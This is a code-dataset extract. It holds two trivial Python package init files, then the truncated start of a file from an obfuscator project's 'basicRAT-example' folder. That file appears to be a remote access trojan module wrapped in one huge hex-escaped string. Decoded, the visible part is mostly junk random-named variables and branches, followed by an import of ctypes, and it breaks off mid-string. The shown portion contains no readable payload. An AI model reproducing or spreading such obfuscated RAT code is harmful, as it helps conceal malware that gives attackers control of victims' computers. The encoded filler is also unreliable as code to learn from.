8058dce316b3d09cdb27f78b0d37b1dc08e94b24
| 84
|
py
|
Python
|
load-test/analysis/__init__.py
|
Xitric/SockShop
|
9ea578d04d7a9079b9878795781032f2e16c5b79
|
[
"Apache-2.0"
] | null | null | null |
load-test/analysis/__init__.py
|
Xitric/SockShop
|
9ea578d04d7a9079b9878795781032f2e16c5b79
|
[
"Apache-2.0"
] | null | null | null |
load-test/analysis/__init__.py
|
Xitric/SockShop
|
9ea578d04d7a9079b9878795781032f2e16c5b79
|
[
"Apache-2.0"
] | 2
|
2021-09-13T18:47:41.000Z
|
2021-12-26T18:14:54.000Z
|
from .latency import run as run_latency
from .resources import run as run_resources
| 28
| 43
| 0.833333
| 14
| 84
| 4.857143
| 0.428571
| 0.264706
| 0.323529
| 0.411765
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 84
| 2
| 44
| 42
| 0.944444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
337d219b77b31ca2e029fb7acb0eb1a957b4c7d0
| 227
|
py
|
Python
|
bravepatcher/utils/firewall/__init__.py
|
maxisoft/BravePatcher
|
b745567297460eb6a7d8567eb3707cc14cc9d66f
|
[
"MIT"
] | 3
|
2021-11-11T23:10:59.000Z
|
2022-02-05T09:14:15.000Z
|
bravepatcher/utils/firewall/__init__.py
|
maxisoft/BravePatcher
|
b745567297460eb6a7d8567eb3707cc14cc9d66f
|
[
"MIT"
] | 3
|
2021-01-12T21:31:18.000Z
|
2021-11-11T23:12:02.000Z
|
bravepatcher/utils/firewall/__init__.py
|
maxisoft/BravePatcher
|
b745567297460eb6a7d8567eb3707cc14cc9d66f
|
[
"MIT"
] | null | null | null |
from .AbstractFirewallHelper import AbstractFirewallHelper # noqa: F401, I005
from .NoOpFirewallHelper import NoOpFirewallHelper # noqa: F401, I005
from .WindowsFirewallHelper import WindowsFirewallHelper # noqa: F401, I005
| 56.75
| 78
| 0.828194
| 21
| 227
| 8.952381
| 0.380952
| 0.12766
| 0.191489
| 0.170213
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09
| 0.118943
| 227
| 3
| 79
| 75.666667
| 0.85
| 0.220264
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
33e992b3ba1780f9d04afd7fe9a63efa04c5951f
| 360,216
|
py
|
Python
|
intensio/examples/python/advanced/output/basicRAT-example/core/yGSBAPDOUSWluzopBzFpxyMFIuLsSQuPDGMEAHAFDyxSyfRGCHHFouJFztpaVOGNxwmyoFzHSSHsKJnqJxukTPDIjuYoEqSErMGnJMPuRMHxQtIPiPiSHPEkRwhlmyu.py
|
Warlockk/Intensio-Obfuscator
|
befaf1cfd2f7320266f07ef036542413317b3d9b
|
[
"MIT"
] | 1
|
2020-02-25T10:54:44.000Z
|
2020-02-25T10:54:44.000Z
|
intensio/examples/python/advanced/output/basicRAT-example/core/yGSBAPDOUSWluzopBzFpxyMFIuLsSQuPDGMEAHAFDyxSyfRGCHHFouJFztpaVOGNxwmyoFzHSSHsKJnqJxukTPDIjuYoEqSErMGnJMPuRMHxQtIPiPiSHPEkRwhlmyu.py
|
Warlockk/Intensio-Obfuscator
|
befaf1cfd2f7320266f07ef036542413317b3d9b
|
[
"MIT"
] | null | null | null |
intensio/examples/python/advanced/output/basicRAT-example/core/yGSBAPDOUSWluzopBzFpxyMFIuLsSQuPDGMEAHAFDyxSyfRGCHHFouJFztpaVOGNxwmyoFzHSSHsKJnqJxukTPDIjuYoEqSErMGnJMPuRMHxQtIPiPiSHPEkRwhlmyu.py
|
Warlockk/Intensio-Obfuscator
|
befaf1cfd2f7320266f07ef036542413317b3d9b
|
[
"MIT"
] | null | null | null |
uAgRqYQhISDguivtrqQFHAFDRiQHAFpDBEPkqxRDmIsOBIZkINRnTWSAPOrlXmEGyFIzwEQqFwCvRBDEswkBitREAJFOEtInvygwFIFElOXyXsBJRMivoEQHGHGCmBw="""\x23\x20\x2d\x2a\x2d\x20\x63\x6f\x64\x69\x6e\x67\x3a\x20\x75\x74\x66\x2d\x38\x20\x2d\x2a\x2d\x0a\x0a\x42\x6c\x69\x42\x49\x48\x76\x57\x76\x5a\x48\x75\x41\x46\x50\x42\x52\x6b\x74\x73\x52\x48\x53\x52\x65\x72\x5a\x7a\x65\x4d\x45\x59\x77\x52\x42\x42\x68\x46\x6e\x75\x46\x41\x52\x4f\x47\x7a\x48\x47\x71\x51\x68\x47\x6b\x45\x68\x5a\x76\x42\x74\x76\x50\x48\x6e\x7a\x42\x50\x73\x46\x46\x5a\x6d\x62\x6b\x5a\x4f\x47\x56\x50\x7a\x48\x7a\x48\x42\x52\x54\x43\x47\x4e\x52\x46\x78\x72\x71\x78\x70\x41\x45\x56\x49\x6b\x52\x74\x6f\x79\x71\x6a\x46\x79\x7a\x56\x43\x48\x6f\x44\x65\x72\x42\x6e\x75\x69\x51\x78\x56\x45\x41\x4e\x44\x20\x3d\x20\x27\x42\x69\x4f\x44\x44\x47\x78\x48\x48\x78\x78\x72\x44\x6d\x47\x49\x6b\x70\x6b\x64\x77\x47\x52\x53\x77\x4c\x53\x4f\x4a\x7a\x44\x79\x50\x77\x6b\x75\x43\x73\x73\x77\x50\x6c\x50\x46\x46\x78\x48\x50\x7a\x51\x42\x72\x4a\x4f\x48\x4f\x52\x4d\x57\x49\x4e\x50\x49\x43\x42\x73\x5a\x52\x45\x69\x76\x6c\x53\x78\x4f\x4a\x48\x44\x52\x52\x48\x79\x6c\x47\x4c\x78\x45\x46\x77\x51\x53\x53\x71\x66\x4f\x76\x42\x79\x42\x52\x6e\x79\x50\x43\x6f\x51\x6f\x5a\x6e\x72\x74\x47\x46\x70\x68\x73\x65\x4e\x49\x42\x7a\x75\x7a\x45\x47\x7a\x7a\x27\x0a\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x20\x3d\x20\x27\x41\x71\x47\x4e\x6d\x52\x41\x52\x46\x5a\x4a\x76\x7a\x52\x55\x45\x66\x43\x7a\x76\x71\x56\x76\x72\x4c\x65\x47\x44\x4f\x70\x55\x53\x50\x42\x4a\x49\x41\x49\x6a\x4f\x51\x45\x52\x7a\x54\x50\x6f\x49\x75\x45\x6f\x53\x7a\x66\x51\x49\x69\x75\x75\x59\x42\x73\x68\x44\x7a\x4c\x50\x41\x48\x48\x56\x43\x76\x53\x48\x57\x43\x77\x78\x47\x53\x67\x56\x71\x47\x46\x44\x45\x45\x45\x55\x75\x7a\x70\x41\x43\x4f\x48\x42\x41\x76\x70\x69\x47\x4e\x50\x78\x67\x48\x53\x77\x45\x43\x44\x66\x49\x72\x44\x49\x44\x79\x4a\x52\x7a\x4f\x70\x77\x27\x0a\x4a\x6f\x53\x76\x4a\x44\x74\x4a\x78\x53\x45\x58\x42\x59\x4a\x49\x74\x4d\x78\x48\x45\x45\x47\x78\x53\x48\x48\x53\x46\x6a\x45\x4e\x4a\x76\x41\x49\x49\x49\x6d\x42\x4a\x53\x48\x4e\x4a\x45\x7a\x4d\x52\x43\x43\x73\x70\x6d\x79\x77\x7a\x71\x72\x77\x78\x78\x75\x49\x6f\x54\x76\x56\x46\x45\x77\x73\x43\x70\x72\x53\x49\x41\x48\x53\x70\x43\x4d\x7a\x4b\x75\x72\x45\x6a\x44\x6a\x49\x6c\x52\x4e\x73\x78\x74\x52\x42\x77\x7a\x48\x75\x4f\x74\x77\x51\x6e\x76\x47\x76\x46\x41\x58\x46\x75\x52\x43\x78\x71\x68\x68\x47\x42\x20\x3d\x20\x27\x48\x4b\x4f\x6d\x4e\x4a\x48\x70\x7a\x44\x71\x75\x6d\x5a\x7a\x43\x6b\x51\x51\x4e\x51\x52\x4f\x55\x6d\x6d\x70\x44\x62\x70\x47\x43\x4f\x75\x41\x59\x4f\x76\x52\x54\x79\x48\x77\x48\x78\x50\x52\x6f\x41\x50\x41\x46\x75\x51\x71\x79\x71\x73\x77\x52\x4a\x44\x41\x78\x76\x74\x79\x78\x4e\x42\x4f\x53\x55\x59\x47\x72\x44\x77\x63\x4a\x6f\x52\x48\x52\x68\x72\x41\x53\x43\x6a\x48\x69\x43\x4a\x52\x73\x79\x4a\x6b\x4e\x7a\x53\x53\x46\x51\x49\x48\x7a\x51\x49\x78\x77\x4a\x4c\x6f\x49\x70\x42\x6a\x4a\x6e\x46\x4a\x44\x44\x74\x53\x27\x0a\x4a\x57\x42\x5a\x75\x72\x42\x6c\x47\x51\x46\x49\x42\x48\x42\x76\x49\x49\x75\x45\x52\x51\x71\x58\x52\x48\x4a\x57\x46\x46\x4e\x48\x42\x4a\x4f\x4e\x7a\x47\x42\x44\x42\x41\x59\x44\x41\x48\x44\x56\x77\x4a\x69\x76\x53\x41\x6a\x78\x79\x45\x77\x44\x4a\x53\x44\x75\x73\x43\x4e\x43\x46\x50\x77\x71\x7a\x76\x70\x44\x46\x51\x53\x78\x45\x70\x6d\x47\x54\x53\x75\x49\x4d\x48\x45\x7a\x5a\x41\x6f\x74\x78\x53\x75\x63\x49\x4d\x75\x51\x79\x73\x4a\x44\x42\x56\x41\x59\x72\x4a\x5a\x45\x4d\x49\x72\x46\x71\x61\x47\x6f\x4f\x4e\x48\x20\x3d\x20\x27\x62\x75\x4e\x41\x72\x56\x7a\x74\x49\x73\x77\x44\x57\x70\x6e\x41\x71\x62\x77\x50\x59\x4a\x78\x6f\x56\x6c\x48\x45\x52\x76\x47\x67\x41\x44\x71\x7a\x57\x6c\x73\x72\x75\x75\x68\x42\x78\x75\x4b\x72\x49\x4d\x6a\x49\x5a\x42\x41\x52\x42\x45\x43\x57\x41\x46\x50\x61\x72\x79\x5a\x4f\x42\x45\x49\x48\x47\x4f\x46\x51\x46\x49\x41\x4e\x7a\x44\x42\x7a\x43\x4f\x73\x52\x41\x42\x47\x76\x52\x7a\x79\x54\x78\x6d\x66\x51\x7a\x70\x68\x79\x76\x46\x73\x4a\x7a\x77\x49\x6d\x46\x72\x72\x6e\x47\x6f\x75\x42\x6b\x42\x77\x56\x42\x6e\x4f\x27\x0a\x78\x52\x5a\x42\x76\x48\x75\x45\x76\x4a\x50\x46\x69\x78\x79\x51\x73\x75\x53\x47\x72\x4f\x71\x76\x6c\x56\x76\x42\x79\x46\x53\x45\x42\x6f\x72\x6e\x58\x49\x48\x65\x79\x70\x6b\x49\x53\x48\x53\x77\x70\x65\x46\x48\x43\x41\x49\x58\x47\x72\x74\x4c\x49\x6f\x46\x41\x6b\x47\x72\x46\x72\x42\x42\x4e\x6a\x41\x46\x74\x6b\x42\x76\x4a\x54\x48\x43\x44\x51\x53\x46\x75\x47\x46\x77\x6b\x46\x52\x75\x4a\x7a\x7a\x52\x51\x47\x51\x78\x69\x7a\x53\x4d\x79\x4e\x4a\x52\x49\x43\x48\x75\x4c\x53\x76\x43\x47\x76\x72\x73\x74\x43\x50\x51\x20\x3d\x20\x27\x46\x66\x4c\x75\x46\x79\x77\x4a\x53\x71\x71\x45\x4c\x49\x44\x4e\x43\x6a\x79\x45\x76\x57\x7a\x78\x4d\x52\x6a\x6d\x79\x77\x44\x69\x48\x46\x49\x79\x50\x47\x49\x47\x51\x55\x6f\x41\x41\x79\x52\x6e\x53\x46\x69\x61\x6b\x55\x46\x57\x4a\x52\x56\x46\x7a\x75\x6f\x6b\x47\x55\x53\x41\x43\x46\x43\x7a\x52\x4a\x75\x44\x4d\x72\x44\x4a\x52\x46\x41\x51\x4a\x48\x74\x4f\x52\x48\x6a\x78\x49\x41\x41\x45\x71\x72\x65\x73\x43\x52\x52\x58\x76\x45\x4d\x78\x6e\x64\x4e\x51\x73\x47\x71\x52\x4b\x45\x43\x76\x52\x41\x76\x49\x75\x65\x77\x27\x0a\x69\x66\x20\x42\x6c\x69\x42\x49\x48\x76\x57\x76\x5a\x48\x75\x41\x46\x50\x42\x52\x6b\x74\x73\x52\x48\x53\x52\x65\x72\x5a\x7a\x65\x4d\x45\x59\x77\x52\x42\x42\x68\x46\x6e\x75\x46\x41\x52\x4f\x47\x7a\x48\x47\x71\x51\x68\x47\x6b\x45\x68\x5a\x76\x42\x74\x76\x50\x48\x6e\x7a\x42\x50\x73\x46\x46\x5a\x6d\x62\x6b\x5a\x4f\x47\x56\x50\x7a\x48\x7a\x48\x42\x52\x54\x43\x47\x4e\x52\x46\x78\x72\x71\x78\x70\x41\x45\x56\x49\x6b\x52\x74\x6f\x79\x71\x6a\x46\x79\x7a\x56\x43\x48\x6f\x44\x65\x72\x42\x6e\x75\x69\x51\x78\x56\x45\x41\x4e\x44\x20\x69\x6e\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x3a\x0a\x20\x20\x20\x20\x42\x6c\x69\x42\x49\x48\x76\x57\x76\x5a\x48\x75\x41\x46\x50\x42\x52\x6b\x74\x73\x52\x48\x53\x52\x65\x72\x5a\x7a\x65\x4d\x45\x59\x77\x52\x42\x42\x68\x46\x6e\x75\x46\x41\x52\x4f\x47\x7a\x48\x47\x71\x51\x68\x47\x6b\x45\x68\x5a\x76\x42\x74\x76\x50\x48\x6e\x7a\x42\x50\x73\x46\x46\x5a\x6d\x62\x6b\x5a\x4f\x47\x56\x50\x7a\x48\x7a\x48\x42\x52\x54\x43\x47\x4e\x52\x46\x78\x72\x71\x78\x70\x41\x45\x56\x49\x6b\x52\x74\x6f\x79\x71\x6a\x46\x79\x7a\x56\x43\x48\x6f\x44\x65\x72\x42\x6e\x75\x69\x51\x78\x56\x45\x41\x4e\x44\x20\x3d\x20\x78\x52\x5a\x42\x76\x48\x75\x45\x76\x4a\x50\x46\x69\x78\x79\x51\x73\x75\x53\x47\x72\x4f\x71\x76\x6c\x56\x76\x42\x79\x46\x53\x45\x42\x6f\x72\x6e\x58\x49\x48\x65\x79\x70\x6b\x49\x53\x48\x53\x77\x70\x65\x46\x48\x43\x41\x49\x58\x47\x72\x74\x4c\x49\x6f\x46\x41\x6b\x47\x72\x46\x72\x42\x42\x4e\x6a\x41\x46\x74\x6b\x42\x76\x4a\x54\x48\x43\x44\x51\x53\x46\x75\x47\x46\x77\x6b\x46\x52\x75\x4a\x7a\x7a\x52\x51\x47\x51\x78\x69\x7a\x53\x4d\x79\x4e\x4a\x52\x49\x43\x48\x75\x4c\x53\x76\x43\x47\x76\x72\x73\x74\x43\x50\x51\x0a\x20\x20\x20\x20\x69\x66\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x20\x69\x6e\x20\x4a\x6f\x53\x76\x4a\x44\x74\x4a\x78\x53\x45\x58\x42\x59\x4a\x49\x74\x4d\x78\x48\x45\x45\x47\x78\x53\x48\x48\x53\x46\x6a\x45\x4e\x4a\x76\x41\x49\x49\x49\x6d\x42\x4a\x53\x48\x4e\x4a\x45\x7a\x4d\x52\x43\x43\x73\x70\x6d\x79\x77\x7a\x71\x72\x77\x78\x78\x75\x49\x6f\x54\x76\x56\x46\x45\x77\x73\x43\x70\x72\x53\x49\x41\x48\x53\x70\x43\x4d\x7a\x4b\x75\x72\x45\x6a\x44\x6a\x49\x6c\x52\x4e\x73\x78\x74\x52\x42\x77\x7a\x48\x75\x4f\x74\x77\x51\x6e\x76\x47\x76\x46\x41\x58\x46\x75\x52\x43\x78\x71\x68\x68\x47\x42\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x20\x3d\x20\x4a\x57\x42\x5a\x75\x72\x42\x6c\x47\x51\x46\x49\x42\x48\x42\x76\x49\x49\x75\x45\x52\x51\x71\x58\x52\x48\x4a\x57\x46\x46\x4e\x48\x42\x4a\x4f\x4e\x7a\x47\x42\x44\x42\x41\x59\x44\x41\x48\x44\x56\x77\x4a\x69\x76\x53\x41\x6a\x78\x79\x45\x77\x44\x4a\x53\x44\x75\x73\x43\x4e\x43\x46\x50\x77\x71\x7a\x76\x70\x44\x46\x51\x53\x78\x45\x70\x6d\x47\x54\x53\x75\x49\x4d\x48\x45\x7a\x5a\x41\x6f\x74\x78\x53\x75\x63\x49\x4d\x75\x51\x79\x73\x4a\x44\x42\x56\x41\x59\x72\x4a\x5a\x45\x4d\x49\x72\x46\x71\x61\x47\x6f\x4f\x4e\x48\x0a\x65\x6c\x69\x66\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x20\x69\x6e\x20\x42\x6c\x69\x42\x49\x48\x76\x57\x76\x5a\x48\x75\x41\x46\x50\x42\x52\x6b\x74\x73\x52\x48\x53\x52\x65\x72\x5a\x7a\x65\x4d\x45\x59\x77\x52\x42\x42\x68\x46\x6e\x75\x46\x41\x52\x4f\x47\x7a\x48\x47\x71\x51\x68\x47\x6b\x45\x68\x5a\x76\x42\x74\x76\x50\x48\x6e\x7a\x42\x50\x73\x46\x46\x5a\x6d\x62\x6b\x5a\x4f\x47\x56\x50\x7a\x48\x7a\x48\x42\x52\x54\x43\x47\x4e\x52\x46\x78\x72\x71\x78\x70\x41\x45\x56\x49\x6b\x52\x74\x6f\x79\x71\x6a\x46\x79\x7a\x56\x43\x48\x6f\x44\x65\x72\x42\x6e\x75\x69\x51\x78\x56\x45\x41\x4e\x44\x3a\x0a\x20\x20\x20\x20\x4a\x6f\x53\x76\x4a\x44\x74\x4a\x78\x53\x45\x58\x42\x59\x4a\x49\x74\x4d\x78\x48\x45\x45\x47\x78\x53\x48\x48\x53\x46\x6a\x45\x4e\x4a\x76\x41\x49\x49\x49\x6d\x42\x4a\x53\x48\x4e\x4a\x45\x7a\x4d\x52\x43\x43\x73\x70\x6d\x79\x77\x7a\x71\x72\x77\x78\x78\x75\x49\x6f\x54\x76\x56\x46\x45\x77\x73\x43\x70\x72\x53\x49\x41\x48\x53\x70\x43\x4d\x7a\x4b\x75\x72\x45\x6a\x44\x6a\x49\x6c\x52\x4e\x73\x78\x74\x52\x42\x77\x7a\x48\x75\x4f\x74\x77\x51\x6e\x76\x47\x76\x46\x41\x58\x46\x75\x52\x43\x78\x71\x68\x68\x47\x42\x20\x3d\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x0a\x20\x20\x20\x20\x69\x66\x20\x4a\x6f\x53\x76\x4a\x44\x74\x4a\x78\x53\x45\x58\x42\x59\x4a\x49\x74\x4d\x78\x48\x45\x45\x47\x78\x53\x48\x48\x53\x46\x6a\x45\x4e\x4a\x76\x41\x49\x49\x49\x6d\x42\x4a\x53\x48\x4e\x4a\x45\x7a\x4d\x52\x43\x43\x73\x70\x6d\x79\x77\x7a\x71\x72\x77\x78\x78\x75\x49\x6f\x54\x76\x56\x46\x45\x77\x73\x43\x70\x72\x53\x49\x41\x48\x53\x70\x43\x4d\x7a\x4b\x75\x72\x45\x6a\x44\x6a\x49\x6c\x52\x4e\x73\x78\x74\x52\x42\x77\x7a\x48\x75\x4f\x74\x77\x51\x6e\x76\x47\x76\x46\x41\x58\x46\x75\x52\x43\x78\x71\x68\x68\x47\x42\x20\x69\x6e\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x71\x52\x43\x69\x75\x77\x71\x74\x43\x46\x43\x42\x51\x41\x47\x6a\x4a\x69\x52\x73\x46\x49\x49\x53\x53\x6f\x46\x4f\x46\x42\x46\x76\x6f\x43\x52\x50\x7a\x74\x78\x54\x4a\x49\x44\x77\x58\x49\x75\x49\x76\x4e\x42\x7a\x78\x7a\x41\x75\x6d\x45\x58\x51\x77\x43\x76\x61\x7a\x73\x6c\x4a\x44\x45\x71\x4a\x41\x49\x45\x65\x4d\x79\x66\x52\x50\x42\x50\x46\x41\x53\x73\x79\x52\x49\x47\x43\x53\x7a\x57\x70\x42\x58\x68\x46\x76\x4a\x53\x73\x57\x4a\x45\x45\x52\x4a\x47\x53\x6d\x48\x47\x4f\x4a\x44\x75\x78\x78\x45\x43\x42\x4c\x70\x20\x3d\x20\x78\x52\x5a\x42\x76\x48\x75\x45\x76\x4a\x50\x46\x69\x78\x79\x51\x73\x75\x53\x47\x72\x4f\x71\x76\x6c\x56\x76\x42\x79\x46\x53\x45\x42\x6f\x72\x6e\x58\x49\x48\x65\x79\x70\x6b\x49\x53\x48\x53\x77\x70\x65\x46\x48\x43\x41\x49\x58\x47\x72\x74\x4c\x49\x6f\x46\x41\x6b\x47\x72\x46\x72\x42\x42\x4e\x6a\x41\x46\x74\x6b\x42\x76\x4a\x54\x48\x43\x44\x51\x53\x46\x75\x47\x46\x77\x6b\x46\x52\x75\x4a\x7a\x7a\x52\x51\x47\x51\x78\x69\x7a\x53\x4d\x79\x4e\x4a\x52\x49\x43\x48\x75\x4c\x53\x76\x43\x47\x76\x72\x73\x74\x43\x50\x51\x0a\x69\x6d\x70\x6f\x72\x74\x20\x63\x74\x79\x70\x65\x73\x0a\x0a\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x70\x52\x4f\x47\x71\x43\x42\x78\x41\x74\x72\x75\x51\x65\x6b\x76\x6d\x76\x45\x49\x75\x48\x47\x4a\x49\x51\x46\x45\x45\x53\x6e\x50\x6e\x56\x69\x72\x72\x74\x47\x44\x59\x48\x4c\x76\x41\x44\x47\x6b\x4f\x79\x49\x47\x71\x75\x53\x7a\x45\x46\x47\x5a\x45\x6e\x47\x72\x44\x55\x43\x41\x45\x46\x7a\x48\x6e\x76\x4f\x56\x48\x41\x74\x68\x47\x72\x72\x74\x66\x47\x48\x71\x44\x45\x66\x7a\x70\x65\x4a\x6a\x44\x6d\x73\x7a\x69\x55\x71\x73\x49\x6c\x74\x46\x6c\x44\x48\x53\x47\x70\x41\x52\x4e\x71\x44\x48\x65\x71\x78\x52\x6a\x53\x41\x20\x3d\x20\x27\x52\x6d\x48\x41\x74\x53\x76\x47\x49\x75\x46\x76\x69\x6e\x6e\x74\x41\x5a\x4a\x42\x42\x52\x4c\x50\x53\x43\x48\x75\x46\x4a\x76\x78\x51\x6e\x69\x73\x75\x7a\x6f\x52\x43\x48\x51\x4a\x77\x75\x45\x6a\x4d\x53\x43\x5a\x41\x78\x50\x6a\x52\x76\x49\x78\x4d\x54\x43\x51\x41\x54\x74\x55\x52\x4a\x42\x47\x46\x76\x6c\x52\x4a\x52\x42\x47\x47\x4f\x45\x41\x44\x4e\x42\x6f\x46\x4d\x56\x50\x72\x48\x50\x4e\x41\x6d\x4f\x41\x42\x79\x6b\x49\x67\x73\x47\x75\x46\x78\x74\x53\x69\x73\x74\x46\x49\x45\x49\x73\x79\x50\x6c\x4e\x6b\x4f\x43\x27\x0a\x20\x20\x20\x20\x77\x7a\x72\x55\x72\x79\x51\x47\x58\x44\x61\x6d\x50\x77\x50\x47\x70\x4a\x69\x48\x67\x4d\x71\x75\x4a\x76\x45\x50\x6f\x75\x58\x76\x6f\x6c\x50\x47\x70\x48\x54\x6c\x53\x44\x71\x4a\x78\x44\x4f\x78\x63\x71\x52\x48\x52\x49\x6a\x45\x74\x4a\x49\x45\x49\x44\x58\x4e\x43\x79\x5a\x6f\x43\x77\x69\x74\x53\x74\x72\x49\x41\x41\x53\x46\x75\x4f\x48\x77\x78\x48\x4d\x4e\x73\x50\x78\x6b\x59\x79\x46\x46\x4a\x52\x54\x47\x65\x76\x64\x78\x42\x6f\x4d\x78\x47\x43\x75\x46\x76\x71\x75\x77\x66\x74\x44\x46\x53\x4a\x69\x52\x42\x70\x6f\x20\x3d\x20\x27\x41\x59\x70\x77\x77\x75\x71\x51\x78\x42\x4a\x44\x45\x75\x4d\x6f\x6c\x41\x6d\x6d\x4a\x49\x52\x42\x4a\x4a\x48\x47\x73\x42\x6c\x52\x5a\x6e\x78\x76\x6c\x51\x44\x43\x42\x45\x45\x76\x42\x7a\x52\x56\x45\x69\x6f\x49\x49\x53\x48\x4a\x78\x45\x53\x7a\x78\x51\x47\x75\x44\x72\x41\x48\x52\x72\x4a\x50\x4d